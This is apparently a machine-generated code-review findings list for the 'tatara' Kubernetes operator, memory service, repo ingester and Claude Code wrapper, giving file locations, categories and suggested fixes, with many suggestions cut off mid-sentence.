• No timing/duration metric on the Implement state despite multi-attempt empty-retry loop - tatara-operator/internal/controller/lifecycle.go:1034-1107 [observability] - Add a LifecycleMetrics counter (e.g. tatara_lifecycle_implement_empty_retry_total) incremented in the retry branch, and consider an ObserveImplement duration histogram analogous to
• ListOpenIssues called up to 3x per repo per reconcile across issueScan/brainstorm/backstop - tatara-operator/internal/controller/projectscan.go:750, 990, 1043 [efficiency] - Fetch open issues per repo once at the top of runScans into a map[slug][]IssueRef and thread it through issueScan, proposalBacklog, and recoverOrphans. recoverOrphans deliberately
• Backlog short-circuit at cap leaves SetOpenProposals gauge stale for unscanned repos - tatara-operator/internal/controller/projectscan.go:894-915 [observability] - Either complete the backlog pass for all repos (updating every gauge) before evaluating the cap, or accept the short-circuit but document that the per-repo gauge is best-effort. Gi
• priorTerminalAttempts rescans all existing Tasks once per selected bot PR - tatara-operator/internal/controller/projectscan.go:49-65,684 [efficiency] - Build one map keyed by (sanitizeRepoLabel(repo), number) -> aggregated task facts (open?, terminal lifecycle count, head-sha set) at the start of mrScan/issueScan and have isDedupe
• closeExhaustedPR makes SCM writes with no duration metric and not counted against budget - tatara-operator/internal/controller/projectscan.go:509-531 [observability] - Record r.Metrics.ScanItem("mrScan","recovery_close_error") on both error returns and emit an SCMWrite(provider,"close_pr",result) metric for the ClosePR call so a stuck close path
• brainstormInFlightProject guard reads the stale existing snapshot, not a fresh list - tatara-operator/internal/controller/projectscan.go:848-863,971-979 [correctness] - Re-list scan Tasks immediately before the in-flight check (as recoverOrphans does), or gate creation on a deterministic name / label-selector List of non-terminal brainstorm Tasks
• bumpRecreations uses plain Update without RetryOnConflict unlike its sibling bump functions - tatara-operator/internal/controller/task_controller.go:347-358 [concurrency] - Wrap the Get+increment+Update in retry.RetryOnConflict exactly as bumpBootCrashAttempts does, for consistency and to make the recreation budget conflict-safe.
• agent HTTP client has no metrics on its fallible/timing wrapper calls and no shared transport tuning - tatara-operator/internal/agent/http.go:28-68 [observability] - Instrument do() (or wrap the Session) with a counter labelled by method/outcome (2xx, http_error, unreachable, timeout) and a latency histogram, so wrapper reachability and turn-su
• atConcurrencyCap, projectRepos, updateInflightGauge and resolveTaskByTurn list all objects then filter in Go (no field/label selector) - tatara-operator/internal/controller/task_controller.go:261-293 [efficiency] - Add field indexers (e.g. spec.projectRef on Task, spec.taskRef on Subtask) in SetupWithManager and query with client.MatchingFields, so these hot-path lists are server/cache-indexe
• json.Marshal error for TATARA_REPOS is discarded - tatara-operator/internal/agent/pod.go:256-257 [error-handling] - Either keep as-is (genuinely impossible to fail for this type) and document it, or change BuildPod to return (*corev1.Pod, error) and propagate the marshal error so a future schema
• bootDeadlineExceeded measures from pod CreationTimestamp, double-counting image-pull time against the boot deadline - tatara-operator/internal/controller/task_controller.go:402-407 [correctness] - Anchor the boot deadline to pod.Status.StartTime (or the wrapper container's State.Running.StartedAt) when available, falling back to CreationTimestamp only if unset, so image-pull
• Poll backstop expireTimedOutTurn and reconcile timeout path can both terminate the same turn (duplicate teardown / lost terminal reason) - tatara-operator/internal/controller/turncallback.go:215-289 [concurrency] - Make terminal-phase the single guard before any timeout teardown: have expireTimedOutTurn and the recordResult annotation write re-read the Task and no-op if isTerminal(phase) is a
• writeBackSelfImprove merge path calls GetPRState twice per reconcile - tatara-operator/internal/controller/writeback.go:687-704 [efficiency] - Fetch PR state once and pass the resolved PRState into mergeAllowed (or change mergeAllowed to accept st *scm.PRState instead of re-fetching). The author and CI status come from th
• PrURL Status().Update is the only writeback status write not wrapped in RetryOnConflict - tatara-operator/internal/controller/writeback.go:209-219 [concurrency] - Wrap the PrURL + condition write in retry.RetryOnConflict with a fresh Get + re-apply inside the closure, matching clearWritebackPending. This makes the idempotency key durably lan
• brainstormHasProposal lists all Tasks in the namespace with no field selector - tatara-operator/internal/controller/writeback.go:267-283 [efficiency] - List with a label selector scoped to the project (the activity/source-repo labels already exist, e.g. labelActivity / LabelSourceRepo) so the API server filters server-side, or add
• recordExistingProposal hardcodes github.com/gitlab.com hosts, breaking self-hosted SCM - tatara-operator/internal/controller/writeback.go:523-528 [correctness] - Use existing.URL (scm.IssueRef carries a URL field used elsewhere) instead of reconstructing from a hardcoded host; if the reader does not populate URL on ListOpenIssues, populate
• reingest-requested annotation is never cleared, so every reconcile after an incremental ingest re-evaluates a stale request and the cron path re-stamps it forward indefinitely - tatara-operator/internal/controller/repository_controller.go:242-263 [algorithm] - On a successful ingest (handleFinishedJob success branch) delete the reingest-requested annotation (or stamp a consumed marker) so the trigger is consumed exactly once, instead of
• scheduleNextReingest does two sequential writes (spec Update then Status Update) where the spec Update re-triggers reconcile before lastScheduledReingest is persisted, allowing a duplicate stamp on conflict - tatara-operator/internal/controller/repository_controller.go:322-334 [concurrency] - Record LastScheduledReingest in the same logical step as (or before) the annotation that re-triggers, e.g. write the status guard first then the annotation, or carry the next-fire
• Project deletion has no finalizer / retire path; the memory stack relies entirely on owner-ref cascade, and there is no DeletionTimestamp handling in either reconciler - tatara-operator/internal/controller/project_memory.go:83-116 [correctness] - Short-circuit reconcileMemory (and applyMemoryStack) when p.DeletionTimestamp != nil, and add an explicit retire log (INFO action=memory_retire) so deletes are observable and a rac
• Incremental ingest passes LastIngestedCommit as --since, but that SHA is the clone HEAD recorded after the previous ingest; a force-push or branch rewrite makes --since reference a commit absent from history, failing the clone-less diff - tatara-operator/internal/controller/repository_controller.go:259-262 [correctness] - On repeated incremental failures (e.g. IngestFailureCount past a threshold) fall back to a full ingest by passing since="" so a rewritten branch self-heals, instead of retrying the
• namespacePath returns an empty or host-only string for a URL with no path, so the clone directory collapses to /workspace and concurrent clones for different malformed repos collide - tatara-operator/internal/ingest/namespace.go:13-43 [correctness] - Return an error or a per-repo unique fallback (e.g. repo.Name) when the derived path is empty or contains no slash, and/or add a kubebuilder URL validation pattern on RepositorySpe
• GitHub RemoveLabel does not URL-escape the label name; slashes in tatara/* phase labels hit the wrong route - tatara-operator/internal/scm/github.go:274-281 [correctness] - URL-escape the label segment: path := fmt.Sprintf("/repos/%s/%s/issues/%d/labels/%s", owner, repo, number, url.PathEscape(label)). Update the test expectation in github_capabilitie
• GitHub GetPRState decodes mergeable into a bool, so the 'still computing' null state silently becomes false - tatara-operator/internal/scm/github.go:289-302 [correctness] - Either remove the unused Mergeable field (KISS, rule 2/4 - dead state in a public type) or decode into *bool and have callers treat nil as 'unknown/recheck' rather than false. Deci
• GetPRState returns empty Author on a deleted/ghost user, and the controller's author!=botLogin gate then fails open in selfImproveBotAuthored only via equality - tatara-operator/internal/scm/github.go:289-302 [security] - In GetPRState (both providers) error out or set a sentinel when the author login resolves empty, so the egress gate cannot be fed an ambiguous "". At minimum document that Author==
• GitLab GetPRState uses deprecated merge_status field for mergeability instead of detailed_merge_status - tatara-operator/internal/scm/gitlab.go:357-371 [correctness] - Switch to detailed_merge_status (request it explicitly) and map the not-yet-checked states to an explicit unknown rather than false, or remove Mergeable entirely to match the GitHu
• Merge-conflict detection relies on HTTP 405 or substring 'conflict' in the error body, a fragile contract leaking between scm and controller - tatara-operator/internal/scm/github.go:384-397 [error-handling] - Define a typed error (e.g. ErrMergeConflict) returned by both providers' Merge when the API signals not-mergeable/conflict (GitHub 405/409, GitLab 405/406/409 or merge_error in bod
• Neither provider implements native auto-merge enablement; merge is a one-shot blocking call gated by polled CI - tatara-operator/internal/scm/github.go:382-397 [algorithm] - Optionally add enablePullRequestAutoMerge (GitHub) / merge_when_pipeline_succeeds (GitLab) to hand the merge-on-green to the platform and stop polling. If keeping the poll model, d
• HTTPError.Error includes the full response body, which can leak token-bearing or sensitive API error content into logs - tatara-operator/internal/scm/scm.go:157-165 [security] - Truncate the body to a bounded length in Error(), and never include the Authorization-bearing request. Consider redacting known-sensitive substrings. Keep the full body on the stru
• GitLab glCIStatus maps every unrecognized pipeline status to 'pending', masking new/unknown states - tatara-operator/internal/scm/gitlab.go:375-386 [correctness] - Map skipped (and arguably manual/success-with-warnings) to 'success' to match GitHub's neutral/skipped handling, and decide explicitly for manual/scheduled rather than bucketing al
• SCM mutation calls (OpenChange, CreateIssue, Merge, ClosePR, AddBoardItem) emit no INFO business log or duration metric at the scm layer - tatara-operator/internal/scm/github.go:146-170 [observability] - Wrap ghDo/glDo (or each adapter method) with a duration histogram labelled by provider+operation and an INFO log on success/error including action, resource_id, status, duration_ms
• GitHub GraphQL queries are built with fmt.Sprintf %q string interpolation rather than typed variables - tatara-operator/internal/scm/github_graphql.go:76-135 [security] - Use parameterized GraphQL with the existing vars map (e.g. query(\(projectId:ID!,\)contentId:ID!){...} with variables) instead of %q interpolation for AddBoardItem, SetBoardColumn, g
• No delivery-id / timestamp replay protection on webhook events - tatara-operator/internal/webhook/server.go:63-117 [security] - Record the provider delivery id (X-GitHub-Delivery / X-Gitlab-Event-UUID) and reject duplicates within a TTL window (e.g. an in-memory LRU or a short-lived ConfigMap/annotation), a
• Every webhook does full-namespace List of Repositories/Tasks with no label selector - tatara-operator/internal/webhook/server.go:120-148,228-269,455-470,526-551,556-574 [efficiency] - List with client.MatchingLabels{LabelSourceRepo: repoSlug, LabelSourceNumber: strconv.Itoa(n), LabelSourceKind: "issueLifecycle"} (the dedup labels already exist), and consolidat
• NewServer guards nil Logger but not nil Metrics; count() will nil-deref - tatara-operator/internal/webhook/server.go:42-47,667-669 [correctness] - Either require Metrics explicitly (panic in NewServer with a clear message if nil) or nil-guard in count() / default it like Logger. Pick one and make the contract consistent.
• No Prometheus metrics on REST endpoints that count and can fail (violates hard rule 13) - tatara-operator/internal/restapi/handlers.go:1-583 [observability] - Add Metrics *obs.OperatorMetrics to restapi.Config, register a request counter (labels: endpoint, method, status) and a latency histogram, and increment per request via middleware
• handover 16KB cap slices on bytes and can split a UTF-8 rune, producing invalid UTF-8 in Task status - tatara-operator/internal/restapi/handlers.go:531-533 [correctness] - Truncate on a rune boundary, e.g. cap := handoverMaxBytes; for cap > 0 && !utf8.RuneStart(req.Handover[cap]) { cap-- }; req.Handover = req.Handover[:cap]; or use a []rune-aware tru
• listRepositories/listTasks/listSubtasks List the whole namespace and filter in memory (no field selector/pagination) - tatara-operator/internal/restapi/handlers.go:63-93, 157-176 [efficiency] - Index Spec.ProjectRef / Spec.TaskRef via mgr.GetFieldIndexer().IndexField in setup and List with client.MatchingFields{...}; or add client.Limit + continuation paging if full enume
• Task Phase enum values Pending and AwaitingApproval are never written by any code path - tatara-operator/api/v1alpha1/task_types.go:110-112 [tech-debt] - Remove Pending and AwaitingApproval from the Task Phase enum (and the now-unreachable AwaitingApproval branch in laneOccupancy) after confirming no out-of-tree client/migration rel
• Task printer columns expose only .status.phase, which is blank for the entire issueLifecycle family - tatara-operator/api/v1alpha1/task_types.go:203-204 [observability] - Add // +kubebuilder:printcolumn:name="Lifecycle",type=string,JSONPath=.status.lifecycleState` (and optionally Kind from.spec.kind) and regenerate the CRD sokubectl get task
• Receiver.Handler() builds a redundant inner mux re-mounted by CallbackServer at the same path - tatara-operator/internal/pushmetrics/receiver.go:203-210 [simplification] - Export handlePush as an http.HandlerFunc (e.g. add Receiver.PushHandler() http.Handler returning http.HandlerFunc(r.handlePush)) and pass that directly to CallbackServer.PushMetric
• Cross-run metric-name type collision uses first-seen type, mis-typing other runs' series - tatara-operator/internal/pushmetrics/receiver.go:99-131 [correctness] - Key the schema by (name, type) rather than name alone, or detect a type conflict for a name and skip/log it deterministically. At minimum count a dropped-series metric (operator_pu
• constMetric silently drops malformed series with no counter; oversize bodies silently truncated - tatara-operator/internal/pushmetrics/receiver.go:145-188 [observability] - Add a counter (e.g. operator_push_series_dropped_total{reason}) incremented on the nil-returning paths in constMetric. For oversize bodies, read into a MaxBytesReader or compare by
• IngressClassName default "nginx" bakes a cluster assumption into the binary - tatara-operator/internal/config/config.go:120 [config-chart] - Drop the "nginx" default and either require INGRESS_CLASS_NAME (return an error when empty, like OIDC fields) or default to empty string and let Kubernetes use the cluster default
• getDurationDefault and getBoolDefault silently swallow malformed env values - tatara-operator/internal/config/config.go:68-90 [error-handling] - Return the parse error from Load() (propagate err from these helpers) so a malformed LEADER_ELECTION / PUSH_METRICS_TTL fails fast at startup, consistent with how missing OIDC_ISSU
• Internal callback + push-metrics listener has no authn; relies solely on not being ingress-exposed - tatara-operator/internal/controller/turncallback.go:25-66 [security] - Apply the same client-credentials bearer check (auth.Middleware with a verifier scoped to the operator audience) to the internal listener, or a shared-secret HMAC like the SCM webh

tatara-memory (30)¶

• SearchEntities interpolates the raw query into ILIKE patterns without escaping % and _ - tatara-memory/internal/codegraph/pgstore.go:204-220 [correctness] - Escape LIKE metacharacters in q before interpolation (replace \ -> \\, % -> \%, _ -> \_) and add ESCAPE '\' to the ILIKE clauses, or pass the escaped pattern as the bound par
• Reconcile deletes cross_repo_symbols only for the AST extractor but inserts them for any extractor, leaking stale symbols on non-AST reconciles - tatara-memory/internal/codegraph/pgstore.go:76-80,128-137 [correctness] - Either reject Symbols on non-AST pushes in Service.Push, or make the symbol delete unconditional (symbols are file-owned and not extractor-specific). Given the table has no extract
• ImportantEntitiesBy betweenness path returns the persisted degree column, which is only written by RecomputeAnalytics and is stale/zero between reconcile and recompute - tatara-memory/internal/codegraph/pgstore.go:1006-1031 [correctness] - Document that betweenness ranking reflects last-computed analytics, and either expose computed_at so callers know freshness, or join live degree for the degree field so the value i
• Worker.Run returns on ctx cancel without waiting for in-flight recompute goroutines (graceful-shutdown goroutine leak) - tatara-memory/internal/codegraph/worker.go:67-98 [concurrency] - Track recompute goroutines with a sync.WaitGroup; on ctx.Done() stop accepting new ticks and wg.Wait() before returning so Run blocks until in-flight recomputes finish (or are canc
• Empty relations slice produces string_to_array('','') = {''} so traversals silently return nothing instead of all relations - tatara-memory/internal/codegraph/pgstore.go:343-359 [correctness] - Mirror the ShortestPath pattern: add ($3='' OR e.relation = ANY(string_to_array($3, ','))) to the neighbor CTEs so an empty relation set walks all relations, or validate/default
• Stats executes seven sequential full-table aggregate queries plus an O(V*E) recursive cycle CTE per call with no caching - tatara-memory/internal/codegraph/pgstore.go:461-553 [efficiency] - Compute isolated entities from the persisted degree column (COUNT WHERE degree=0) instead of the NOT EXISTS scan, fold the three group-by counts where possible, and consider cachin
• Recover can call WriteHeader after a handler already wrote headers/body, producing a superfluous-WriteHeader warning and corrupt response - tatara-memory/internal/httpapi/middleware.go:65-74 [error-handling] - Track whether the response was already started (statusRecorder already records status on WriteHeader; add a wroteHeader bool) and in Recover only write the 500 envelope if no heade
• Code-entity search allows empty q while memory entity search rejects it - inconsistent validation, enables full-table scan - tatara-memory/internal/httpapi/codegraph.go:84-98 [correctness] - Decide one policy: either require non-empty q here too (return 400 like entities.go), or document that empty q means list-by-repo and rely on the limit cap. Validate type against t
• Negative depth/limit/community query params silently coerced, not 400'd; strconv.Atoi errors swallowed - tatara-memory/internal/httpapi/codegraph.go:46-56,90,305,324,496,530 [correctness] - Make depthParam/limitParam return (int, ok) and 400 on a non-empty-but-unparseable value, matching handleCommunity's strconv.Atoi error handling. Reject explicitly-negative values
• /readyz discards the ReadyCheck error - no log, generic 'not ready', undebuggable - tatara-memory/internal/httpapi/router.go:43-51 [error-handling] - Log the err at WARN with request_id before writing the 503: cfg.Logger.WarnContext(req.Context(), "readyz failed", "error", err, "request_id", ...).
• All JSON decoders accept unknown fields and ignore trailing garbage; no body-size limit on non-bulk endpoints - tatara-memory/internal/httpapi/queries.go:12-20,30-40 [correctness] - Wrap r.Body in http.MaxBytesReader on every POST/PATCH (especially /code-graph:bulk), and consider dec.DisallowUnknownFields() so silently-dropped client typos surface as 400 rathe
• Inbound X-Request-Id is trusted verbatim and reflected into headers and log fields without length/charset validation - tatara-memory/internal/httpapi/middleware.go:42-49 [security] - Validate inbound X-Request-Id: cap length (e.g. 64 chars) and restrict to [A-Za-z0-9._-]; otherwise generate a fresh one. Do not reflect arbitrary client input into response header
• DeleteMemory tombstone Mark after DeleteDocs is non-atomic, leaving the 404-after-delete guarantee unmet on Mark failure - tatara-memory/internal/memory/service.go:128-149 [correctness] - Mark the tombstone BEFORE issuing the upstream delete (the tombstone is a soft-delete marker; marking first means GET returns 404 immediately and is correct even if the upstream de
• Reaper tick ignores non-404 TrackStatus errors, no metric/log for upstream check failures - tatara-memory/internal/memory/reaper.go:80-93 [observability] - Add an else branch: log at WARN (track_id, err) and/or increment a tatara_memory_tombstone_total{op="check_error"} counter for non-404 errors so a wedged confirm path is visible. C
• Reaper processes at most 1000 tombstones per tick with no continuation - tatara-memory/internal/memory/reaper.go:74-93 [efficiency] - Either page through all due tombstones within a tick (loop List with an offset/keyset until fewer than the page size return, bounded by a deadline) or make the batch size a named c
• On shutdown/ctx cancel mid-job, the worker keeps calling ClaimNextItem/runItem with a dead context instead of stopping - tatara-memory/internal/ingest/pool.go:154-199 [concurrency] - Add a non-blocking select on p.stop/ctx.Done() at the top of the inner loop and return promptly (leaving the job re-resumable) so shutdown does not churn items through a cancelled
• CreateJob item insert relies on string-matching '23505'/'duplicate key' for the job row but not for the unique (job_id, idempotency_key) item index - tatara-memory/internal/ingest/pgstore.go:43-56 [correctness] - Inspect the typed driver error (e.g. *pgconn.PgError Code=="23505") instead of substring matching, and wrap item-insert errors with fmt.Errorf("insert item %q: %w", it.IdempotencyK
• PGStore returns raw database errors without %w wrapping, losing call-site context - tatara-memory/internal/ingest/pgstore.go:25-141 [error-handling] - Wrap each returned DB error with operation context, e.g. return fmt.Errorf("ingest: claim next item: %w", err), preserving ErrJobNotFound/ErrJobExists sentinels via errors.Is check
• Notify drop is only recovered by a process restart's Resume, not by any in-process retry - tatara-memory/internal/ingest/pool.go:118-124 [algorithm] - Add a periodic in-process sweeper that calls ListUnfinishedJobs and re-notifies queued jobs older than some threshold, or make Notify block with a bounded timeout when the channel
• OTLP tracer provider is built but never registered or used; tracing is dead wiring - tatara-memory/cmd/tatara-memory/app.go:82-99 [observability] - Either remove the tracing code path entirely (obs.New, Obs.Tracer, newOTLPProvider, the OTLP_ENDPOINT flag) since it is unused dead weight, or actually wire it: capture tp, call ot
• HTTP client performs a single attempt with no retry/backoff on transient failures - tatara-memory/internal/lightrag/http.go:65-113 [error-handling] - Add a bounded retry loop in do() for idempotent ops on transport errors and 5xx/429 (respecting Retry-After and ctx cancellation), with capped exponential backoff; keep 4xx termina
• Error and success response bodies are read/decoded without a size limit - tatara-memory/internal/lightrag/http.go:101-111 [efficiency] - Wrap resp.Body in io.LimitReader (e.g. 1-4 MiB) before ReadAll for the error path and before json.NewDecoder for the success path, and truncate HTTPError.Body to a sane cap.
• Every client call (incl. per-probe health checks) logged at INFO, producing readyz log spam - tatara-memory/internal/lightrag/http.go:65-85 [observability] - Log successful health pings at Debug (or skip OpHealth success logging), keep WARN on failure; only attach the error attribute when err != nil. Business ops (insert/query/delete) c
• obs.RequestLogger and obs.New are dead code (never called outside tests) - tatara-memory/internal/obs/obs.go:18-68 [simplification] - Delete RequestFields/RequestLogger and the Obs struct + New (and Config) unless httpapi is refactored to consume them. If kept intentionally, wire them into the access-log path so
• Result.Communities slice order is non-deterministic (built from a Go map) - tatara-memory/internal/analytics/compute.go:82-110 [correctness] - Iterate community indices in sorted order: collect keys, sort.Ints, then build the slice; or size a slice by max community index and index directly. The CommunitySignal.Community f
• Auth middleware logs/metrics only rejections; no INFO/metric on successful authentication - tatara-memory/internal/auth/middleware.go:22-43 [observability] - Add an auth_attempts_total{result=success|missing_token|invalid_scheme|invalid_token} counter incremented on each branch, and either rely on the downstream access log carrying user
• Auth middleware logs via package-global slog instead of the service's configured logger - tatara-memory/internal/auth/middleware.go:27-34 [observability] - Inject the *slog.Logger into Middleware (it already takes a *Verifier; add a logger param or close over the obs logger) and log through it, or have main call slog.SetDefault(obs lo
• Fake DeleteEntity synchronously cascades incident edge removal; real client cannot and does not - tatara-memory/internal/lightrag/fake/fake.go:258-273 [tech-debt] - Make the fake mirror real semantics: either leave incident edges as the real backend would, or document explicitly that the fake assumes synchronous cascade and add a fake mode/tes
• Fake InsertText returns a doc already in 'processed' state, hiding LightRAG's async pending->processing lifecycle - tatara-memory/internal/lightrag/fake/fake.go:88-114 [tech-debt] - Add a fake knob to control returned DocStatus (and an initial empty/total_count==0 window) so polling/lifecycle logic gets covered; default can stay processed but lifecycle-sensiti
• Query/QueryData ignore the response Status field; a backend 'failure' status is treated as success - tatara-memory/internal/lightrag/http.go:177-191 [error-handling] - After decoding, for ops whose envelope has a Status field, treat a non-success Status as an error (return a typed error carrying Status/Message), or document clearly that envelope-

tatara-memory-repo-ingester (22)¶

• helm valueIDs map is built and threaded 6 levels deep but never read (dead code, value_ref edges never validated) - tatara-memory-repo-ingester/internal/analyze/helm.go:121-138,162-315 [simplification] - Either consult valueIDs (e.g. mark the edge with a property when the referenced key is absent from values.yaml, or skip/flag undefined refs) to give the parameter a purpose, or rem
• Helm value_ref and includes edges are not deduplicated per template - tatara-memory-repo-ingester/internal/analyze/helm.go:245-315 [algorithm] - Thread a per-template seen map[string]bool (keyed by relation+from+to) through walkNodes/processCmd/extractValueRefs and skip already-emitted edges; or post-process the template'
• Python import handling does not guard relative/wildcard/aliased import nodes; can build bogus candidate IDs - tatara-memory-repo-ingester/internal/analyze/python.go:150-197,297-354 [error-handling] - Handle node types explicitly: for aliased_import read the name and alias fields (map alias->target entity); skip wildcard_import; for relative imports (module_name beginning wi
• Go analyzer emits a package entity for every loaded package on every incremental push, even with zero in-scope files - tatara-memory-repo-ingester/internal/analyze/golang.go:115-176 [efficiency] - Defer emitting the go:package entity until at least one in-scope func/method in that package is found (track a bool while iterating pkg.Syntax files in scope), so unchanged package
• Per-analyzer extraction has no metrics and no per-analyzer INFO business log (hard rules 12/13) - tatara-memory-repo-ingester/internal/analyze/golang.go:64-143 [observability] - Add Prometheus counters (entities_total/edges_total/parse_errors_total labelled by language) and a duration histogram around each a.Analyze call (or inside each analyzer), and an I
• valueIDs map threaded through 5 functions but never read (dead parameter / KISS violation) - tatara-memory-repo-ingester/internal/analyze/helm.go:121-315 [simplification] - Either drop the valueIDs parameter from processTemplate/walkNodes/walkPipe/processCmd/extractValueRefs entirely, or actually use it (e.g. only emit value_ref when valueIDs[dotted]
• pyFileDefs / jsFileDefs recomputed once for the index and again per file - tatara-memory-repo-ingester/internal/analyze/python.go:68-89 [efficiency] - Compute pyFileDefs/jsFileDefs once per file in the first pass, cache the per-file map (e.g. add a defs map[string]string field to parsedFile), build repoIndex from it, and reuse
• Docs analyzer silently swallows unreadable files with no WARN log - tatara-memory-repo-ingester/internal/analyze/docs.go:33-37 [observability] - Give docsAnalyzer a log *slog.Logger field (set to slog.Default() in NewDocs) and log a WARN with the file path and err before continue, matching the other analyzers.
• includes and value_ref edges point to helm:include:/helm:value: targets that are never emitted as entities - tatara-memory-repo-ingester/internal/analyze/helm.go:245-309 [correctness] - Document the dangling-To contract explicitly and add a contract test asserting the server upserts placeholder nodes for edge To targets; or emit lightweight repo-scoped (FilePath="
• helm_chart entity emitted with empty Name/ID suffix when Chart.yaml has no name - tatara-memory-repo-ingester/internal/analyze/helm.go:79-98 [error-handling] - After unmarshal, if manifest.Name == "" { ha.log.Warn("helm: Chart.yaml missing name", "path", chartYAMLPath); continue } so no empty-named chart/value entities are emitted.
• Index.ExternalSymbols is never indexed, so reference relation/name resolution for cross-package symbols is degraded - tatara-memory-repo-ingester/internal/scip/scip.go:44-50 [correctness] - Build a top-level symInfo from idx.ExternalSymbols once, then overlay each doc's Symbols on top, so external-symbol kinds are available when classifying reference edges.
• SCIP emits one edge per reference occurrence with no dedup; many references to the same callee from the same enclosing def collapse on the server's (repo,from,to,relation) upsert, masking a redundant-work / lost-count issue - tatara-memory-repo-ingester/internal/scip/scip.go:96-122 [efficiency] - Deduplicate edges by (from,to,relation) before appending (a seen-set keyed on the triple), or accumulate an occurrence count into Properties. Dedup is the KISS choice given the ser
• SCIP entities drop LineStart/LineEnd even though the occurrence Range provides them, losing locality the contract and server columns support - tatara-memory-repo-ingester/internal/scip/scip.go:66-94 [observability] - Set LineStart/LineEnd from the definition occurrence Range (start line +1 for 1-based, end line). Prefer EnclosingRange when present for the full definition span.
• lastComponent over-trims and can return the wrong component for SCIP descriptor strings - tatara-memory-repo-ingester/internal/scip/scip.go:150-163 [correctness] - Parse the SCIP symbol with the bindings' own scip.ParseSymbol / Descriptor formatter (the dependency already provides symbol_parser.go and symbol_formatter.go) and take the last de
• **stripFences mishandles ``json that is not at the very start and can leave a stray fence, breaking JSON unmarshal** -tatara-memory-repo-ingester/internal/semantic/parse.go:147-155` [correctness] - Extract the substring from the first '{' to the last '}' (balanced is overkill for a single top-level object), or use json.Decoder and decode the first token. This is both more rob
• ParseFragment emits edges with empty or self endpoints straight from model output - tatara-memory-repo-ingester/internal/semantic/parse.go:82-91 [error-handling] - Skip edges where From=="" || To=="" || From==To, and optionally drop edges whose Relation is not in the known semantic-relation set. Same for nodes with empty Label/ID before slugg
• SCIP and semantic stages lack per-operation metrics required by hard rule 13 - tatara-memory-repo-ingester/internal/scip/scip.go:20-137 [observability] - Add counters (scip_entities_total, scip_edges_total, semantic_chunk_extractions_total{result=ok|fail}) and a duration histogram, registered on the service's existing /metrics regis
• Idempotency key truncates content hash to 64 bits, risking collisions - tatara-memory-repo-ingester/internal/push/items.go:16-24 [algorithm] - Use the full digest: hex.EncodeToString(sum[:]). Key length is not a constraint here and full sha256 removes any collision concern.
• No metrics on any fallible/timed path (hard rule 13) - tatara-memory-repo-ingester/cmd/tatara-ingest/run.go:43-271 [observability] - Add prometheus counters/histograms (ingest_runs_total, ingest_duration_seconds, push_requests_total{path,result}, llm_calls_total{result}, semantic_misses_total) and push them via
• Push/LLM stages lack per-call INFO business logs with duration_ms (hard rule 12) - tatara-memory-repo-ingester/internal/push/push.go:29-76 [observability] - Log INFO at the end of PushGraph/PushChunks/SemanticMisses with action, repo (resource_id), counts, job id, and duration_ms; log the job id and elapsed when a job reaches terminal.
• LLM retry uses a fixed 500ms backoff and ignores Retry-After on 429 - tatara-memory-repo-ingester/internal/llm/openai.go:77-129 [efficiency] - Parse Retry-After (seconds or HTTP-date) on 429 and sleep at least that long before the retry, capped to a max; fall back to the 500ms default when absent.
• parseDiff silently drops malformed/short diff lines without a warning - tatara-memory-repo-ingester/internal/walk/walk.go:79-106 [error-handling] - Add a default case and short-line branch that slog.Warn the unparsed line/status so silent drops are observable; consider handling 'T' (type change) as 'M'. Using git diff -z wit

tatara-claude-code-wrapper (12)¶

• Interject holds mgr.mu across time.Sleep(SubmitDelay), blocking Snapshot/Submit/Complete for the full submit delay - tatara-claude-code-wrapper/internal/session/session.go:558-581 [concurrency] - Capture the writer and verify state under the lock, release the lock, then perform write+sleep+write outside it (re-acquire only to bump metrics/log). Same applies to Submit, but S
• Several business-action logs miss the structured fields hard rule 12 mandates (duration_ms, action) - tatara-claude-code-wrapper/internal/session/session.go:548, 476, 638, 455 [observability] - Add consistent action and duration_ms fields across submit/complete/fail/timeout/resume logs (failTimeout and failTurn can compute now.Sub(currentStarted)). Standardize an action l
• TurnsCompleted snapshot/metric counts failed and timed-out turns as 'completed' - tatara-claude-code-wrapper/internal/session/session.go:642-647 [correctness] - Either rename the field to turnsFinished/turnsHandled to reflect that it counts all terminal turns, or increment turnsCompleted only on the success path (Complete) and track failur
• Render clones unconditionally; fails on pod restart with a persistent workspace - tatara-claude-code-wrapper/internal/bootstrap/bootstrap.go:91-101 [correctness] - Before cloning, detect an existing clone (e.g. os.Stat(filepath.Join(dest, ".git"))). If present, skip the clone and go straight to fetch + checkoutTaskBranch (the resume path); on
• mergeMCP writes .mcp.json 0600 then mcp-config rewrites it 0644 - tatara-claude-code-wrapper/internal/bootstrap/mcp.go:53-55 [correctness] - Write .mcp.json at 0o644 to match the file's non-secret nature and the cli's own mode, eliminating the perm flip between the two writers. (Secrets are never embedded in .mcp.json;
• Tatara MCP entry presence depends on TATARA_MEMORY_URL inconsistently - tatara-claude-code-wrapper/internal/bootstrap/mcp_register.go:9-17 [correctness] - Collapse to a single source of truth (see duplicate-tatara-mcp-registration). If RegisterTataraMCP is the canonical path, gate it only on the tatara binary being present, not on TA
• Cluster-specific oidcIssuer host baked into chart values.yaml default - tatara-claude-code-wrapper/charts/tatara-claude-code-wrapper/values.yaml:19-20 [config-chart] - Default oidcIssuer to "" (and disable OIDC when empty, which app.go already supports) and callerNamespace to "" or .Release.Namespace, letting tatara-helmfile supply the real value
• obs.RequestLogger / RequestFields are dead code - tatara-claude-code-wrapper/internal/obs/obs.go:16-36 [tech-debt] - Either wire RequestLogger into a request-logging middleware (preferred, also resolves no-http-request-business-logging) or remove RequestFields/RequestLogger and their test.
• Failed/timed-out turns never observe ccw_turn_duration_seconds - tatara-claude-code-wrapper/internal/session/session.go:626-640 [observability] - Capture started := mgr.currentStarted before clearCurrentLocked in failTimeout/failTurn/handleExit and call mgr.m.TurnDuration.Observe(now.Sub(started).Seconds()) so failed and tim
• Webhook retry backoff doubles without a cap and can overflow into a retry storm - tatara-claude-code-wrapper/internal/webhook/webhook.go:78-91 [efficiency] - Cap the backoff: backoff = min(backoff*2, maxBackoff) with a maxBackoff const (e.g. 30s-60s), and optionally add jitter. This bounds both the overflow and the worst-case retry rate
• Sender.Deliver does wg.Add(1) with no closed-state guard; relies on shutdown ordering - tatara-claude-code-wrapper/internal/webhook/webhook.go:45-75 [concurrency] - Add a closed flag guarded by a mutex (or check s.ctx.Err()) at the top of Deliver and drop deliveries after Shutdown began, returning before wg.Add. This makes the drain contract s
• GET /v1/transcript loads the entire transcript into memory - tatara-claude-code-wrapper/internal/httpapi/session.go:12-25 [efficiency] - Open the file and io.Copy it to the ResponseWriter (or use http.ServeContent for range support), setting the Content-Type header first, so the transcript streams without a full in-

